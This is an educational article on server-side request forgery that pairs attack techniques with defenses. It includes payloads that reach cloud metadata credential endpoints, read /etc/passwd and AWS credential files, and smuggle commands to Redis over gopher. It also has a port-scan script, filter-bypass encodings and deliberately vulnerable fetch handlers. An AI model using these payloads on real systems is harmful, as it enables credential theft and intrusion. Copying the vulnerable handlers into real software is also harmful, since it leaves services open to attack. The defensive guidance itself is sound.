SSRF Attacks Explained: The Internal Network Threat
Server-Side Request Forgery (SSRF) turns your application into an attack proxy. Instead of attacking your server directly, attackers trick it into making requests on their behalf—accessing internal resources that should never be reachable from the internet.
The 2019 Capital One breach demonstrated SSRF's devastating potential: an attacker exploited SSRF to access AWS metadata services, steal IAM credentials, and exfiltrate 100+ million customer records. Capital One faced over $80 million in fines. In 2025, SSRF remains in OWASP's Top 10 as cloud architectures expand the attack surface.
How SSRF Works
SSRF occurs when an application fetches remote resources based on user input without proper validation:
// VULNERABLE - User controls the URL
app.get('/api/fetch-url', async (req, res) => {
const { url } = req.query;
// Attacker can make the server request ANY URL
const response = await fetch(url);
const data = await response.text();
res.send(data);
});Normal use: /api/fetch-url?url=https://example.com/data.json
Attack: /api/fetch-url?url=http://169.254.169.254/latest/meta-data/
The server's request to the AWS metadata endpoint succeeds because it originates from within AWS—not from the internet.
Attack Vector 1: Cloud Metadata Services
Every major cloud provider exposes instance metadata at well-known internal addresses:
AWS IMDSv1
# Get instance identity
http://169.254.169.254/latest/meta-data/
# Get IAM credentials (the prize)
http://169.254.169.254/latest/meta-data/iam/security-credentials/[role-name]
# Response contains:
{
"AccessKeyId": "ASIA...",
"SecretAccessKey": "...",
"Token": "...",
"Expiration": "..."
}Google Cloud
# Requires header: Metadata-Flavor: Google
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/tokenAzure
# Requires header: Metadata: true
http://169.254.169.254/metadata/instance?api-version=2021-02-01DigitalOcean
http://169.254.169.254/metadata/v1/Attack Vector 2: Internal Service Discovery
SSRF can probe internal networks to discover services:
# Scan for internal services
http://localhost:6379/ # Redis
http://localhost:27017/ # MongoDB
http://localhost:9200/ # Elasticsearch
http://localhost:5432/ # PostgreSQL
http://localhost:3306/ # MySQL
http://internal-api.local/ # Internal APIs
http://10.0.0.1/ # Gateway/router
http://192.168.1.0/24 # Internal network scanPort Scanning via Response Time
Even without response content, timing differences reveal open ports:
// Attacker script
async function scanPort(target, port) {
const start = Date.now();
try {
await fetch(`http://vulnerable-app.com/api/fetch-url?url=http://${target}:${port}/`);
} catch {}
const elapsed = Date.now() - start;
// Fast timeout = port closed
// Slow response = port open or filtered
return { port, elapsed };
}Attack Vector 3: Protocol Smuggling
Some SSRF vulnerabilities allow protocol switching:
File Protocol
# Read local files
file:///etc/passwd
file:///proc/self/environ
file:///home/app/.aws/credentialsGopher Protocol
# Send raw data to internal services (Redis example)
gopher://127.0.0.1:6379/_*1%0d%0a$4%0d%0aINFO%0d%0a
# This sends "INFO" command to RedisDict Protocol
# Query internal services
dict://127.0.0.1:6379/INFOAttack Vector 4: DNS Rebinding
Bypass allowlists by manipulating DNS resolution:
1. Attacker owns evil.com
2. First DNS query: evil.com → 1.2.3.4 (passes allowlist)
3. Server validates URL, sees external IP
4. DNS TTL expires
5. Second query: evil.com → 169.254.169.254 (internal!)
6. Server fetches internal resourceDefense-Evading Techniques
# Decimal IP encoding
http://2852039166/ # = 169.254.169.254
# Octal encoding
http://0251.0376.0251.0376/
# Hex encoding
http://0xa9fea9fe/
# IPv6 localhost
http://[::1]/
http://[0:0:0:0:0:0:0:1]/
# Mixed encoding
http://169.254.169.254.xip.io/
http://169.254.169.254.nip.io/
# URL parsing tricks
http://evil.com@169.254.169.254/
http://169.254.169.254#@evil.com/Real-World SSRF Patterns
Pattern 1: Webhook Handlers
// VULNERABLE - User specifies webhook URL
app.post('/api/webhooks', async (req, res) => {
const { webhookUrl, event } = req.body;
// Attacker provides: webhookUrl = "http://169.254.169.254/..."
await fetch(webhookUrl, {
method: 'POST',
body: JSON.stringify({ event, timestamp: Date.now() })
});
res.json({ success: true });
});Pattern 2: URL Preview/Unfurling
// VULNERABLE - Fetch URL metadata for previews
app.get('/api/preview', async (req, res) => {
const { url } = req.query;
const response = await fetch(url);
const html = await response.text();
// Parse OpenGraph tags for preview card
const title = html.match(/<meta property="og:title" content="([^"]+)"/)?.[1];
const image = html.match(/<meta property="og:image" content="([^"]+)"/)?.[1];
res.json({ title, image });
});Pattern 3: PDF Generation
// VULNERABLE - HTML to PDF with external resources
app.post('/api/generate-pdf', async (req, res) => {
const { htmlContent } = req.body;
// If htmlContent contains: <img src="http://169.254.169.254/...">
// The PDF generator fetches the internal URL
const pdf = await generatePDF(htmlContent);
res.contentType('application/pdf').send(pdf);
});Pattern 4: Image Processing
// VULNERABLE - Fetch and resize remote images
app.get('/api/resize-image', async (req, res) => {
const { imageUrl, width, height } = req.query;
// Attacker provides internal URL
const response = await fetch(imageUrl);
const buffer = await response.buffer();
const resized = await sharp(buffer)
.resize(parseInt(width), parseInt(height))
.toBuffer();
res.contentType('image/jpeg').send(resized);
});Defense Strategy 1: URL Validation
Basic Allowlist
const ALLOWED_HOSTS = [
'api.example.com',
'cdn.example.com',
'storage.googleapis.com'
];
function isAllowedUrl(urlString) {
try {
const url = new URL(urlString);
// Only allow HTTPS
if (url.protocol !== 'https:') {
return false;
}
// Check against allowlist
if (!ALLOWED_HOSTS.includes(url.hostname)) {
return false;
}
return true;
} catch {
return false;
}
}
app.get('/api/fetch', async (req, res) => {
const { url } = req.query;
if (!isAllowedUrl(url)) {
return res.status(400).json({ error: 'URL not allowed' });
}
const response = await fetch(url);
res.send(await response.text());
});IP Address Blocking
import { isIP } from 'net';
import dns from 'dns/promises';
const BLOCKED_IP_RANGES = [
/^127\./, // Localhost
/^10\./, // Private Class A
/^172\.(1[6-9]|2[0-9]|3[0-1])\./, // Private Class B
/^192\.168\./, // Private Class C
/^169\.254\./, // Link-local (metadata!)
/^0\./, // "This" network
/^::1$/, // IPv6 localhost
/^fc00:/, // IPv6 private
/^fe80:/, // IPv6 link-local
];
function isBlockedIP(ip) {
return BLOCKED_IP_RANGES.some(pattern => pattern.test(ip));
}
async function validateUrl(urlString) {
const url = new URL(urlString);
// Resolve hostname to IP
const addresses = await dns.resolve4(url.hostname).catch(() => []);
// Check if any resolved IP is blocked
for (const ip of addresses) {
if (isBlockedIP(ip)) {
throw new Error(`Blocked IP address: ${ip}`);
}
}
return url;
}Defense Strategy 2: Network-Level Controls
Cloud Metadata Protection
AWS: Enable IMDSv2 (Requires Token)
# Require IMDSv2 for all instances
aws ec2 modify-instance-metadata-options \
--instance-id i-1234567890abcdef0 \
--http-tokens required \
--http-put-response-hop-limit 1GCP: Disable Legacy Metadata
gcloud compute instances add-metadata INSTANCE_NAME \
--metadata=disable-legacy-endpoints=trueNetwork Policies
# Kubernetes NetworkPolicy - Block metadata access
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: block-metadata
spec:
podSelector: {}
policyTypes:
- Egress
egress:
- to:
- ipBlock:
cidr: 0.0.0.0/0
except:
- 169.254.169.254/32 # Block metadata
- 10.0.0.0/8 # Block internal
- 172.16.0.0/12
- 192.168.0.0/16Defense Strategy 3: Request Isolation
Proxy Through Dedicated Service
// Dedicated fetch service with restricted network
// Runs in isolated network segment without internal access
// main-app/api/fetch.js
app.get('/api/fetch', async (req, res) => {
const { url } = req.query;
// Proxy to isolated fetch service
const response = await fetch(`http://fetch-service/fetch?url=${encodeURIComponent(url)}`);
res.send(await response.text());
});
// fetch-service/index.js (runs in isolated network)
app.get('/fetch', async (req, res) => {
const { url } = req.query;
// This service has no access to internal network
// Even if SSRF occurs, damage is limited
const response = await fetch(url);
res.send(await response.text());
});Serverless Functions
// AWS Lambda in isolated VPC
// lambda/fetch-external.js
export const handler = async (event) => {
const { url } = event.queryStringParameters;
// Lambda runs in VPC without internal network access
const response = await fetch(url);
return {
statusCode: 200,
body: await response.text()
};
};Defense Strategy 4: Response Validation
async function safeFetch(url, options = {}) {
// Validate URL first
const validatedUrl = await validateUrl(url);
const response = await fetch(validatedUrl, {
...options,
// Don't follow redirects automatically
redirect: 'manual',
// Set timeout
signal: AbortSignal.timeout(5000)
});
// Check for redirects to internal resources
if (response.status >= 300 && response.status < 400) {
const location = response.headers.get('location');
if (location) {
// Validate redirect target
await validateUrl(location);
// Only then follow
return fetch(location, options);
}
}
// Validate content type
const contentType = response.headers.get('content-type');
const allowedTypes = ['application/json', 'text/html', 'image/'];
if (!allowedTypes.some(t => contentType?.includes(t))) {
throw new Error('Unexpected content type');
}
return response;
}Testing for SSRF
Manual Testing Payloads
# Cloud metadata
http://169.254.169.254/latest/meta-data/
http://metadata.google.internal/computeMetadata/v1/
http://169.254.169.254/metadata/instance
# Localhost variations
http://localhost/
http://127.0.0.1/
http://127.1/
http://[::1]/
http://0.0.0.0/
# Internal network
http://192.168.0.1/
http://10.0.0.1/
http://172.16.0.1/
# Protocol variations
file:///etc/passwd
gopher://127.0.0.1:6379/
dict://127.0.0.1:6379/
# Bypass techniques
http://169.254.169.254.xip.io/
http://0xa9fea9fe/
http://2852039166/Automated Testing
# Using ffuf for SSRF testing
ffuf -u "http://target.com/api/fetch?url=FUZZ" -w ssrf-payloads.txt
# Using Burp Collaborator or interactsh
interactsh-client
# Then use the generated URL as SSRF target
curl "http://target.com/api/fetch?url=http://abc123.interact.sh"SSRF Prevention Checklist
URL Validation
- [ ] Allowlist permitted hosts when possible
- [ ] Block private IP ranges and localhost
- [ ] Resolve DNS before making requests
- [ ] Validate after DNS resolution (prevent rebinding)
- [ ] Reject non-HTTP(S) protocols
Network Controls
- [ ] Enable IMDSv2 on AWS (require tokens)
- [ ] Use network policies to block metadata access
- [ ] Run URL-fetching code in isolated network segments
- [ ] Use egress proxies with logging
Application Controls
- [ ] Don't follow redirects automatically
- [ ] Validate redirect targets
- [ ] Set request timeouts
- [ ] Validate response content types
- [ ] Log all outbound requests
Monitoring
- [ ] Alert on requests to metadata endpoints
- [ ] Monitor for unusual internal network traffic
- [ ] Log and analyze outbound request patterns
Practice SSRF Attacks
Understanding SSRF from the attacker's perspective helps you build better defenses. Try our SSRF challenges to practice these techniques in a safe environment.
---
SSRF techniques evolve with cloud services. This guide will be updated as new attack vectors emerge. Last updated: December 2025.
Stay ahead of vulnerabilities
Weekly security insights, new challenges, and practical tips. No spam.
Unsubscribe anytime. No spam, ever.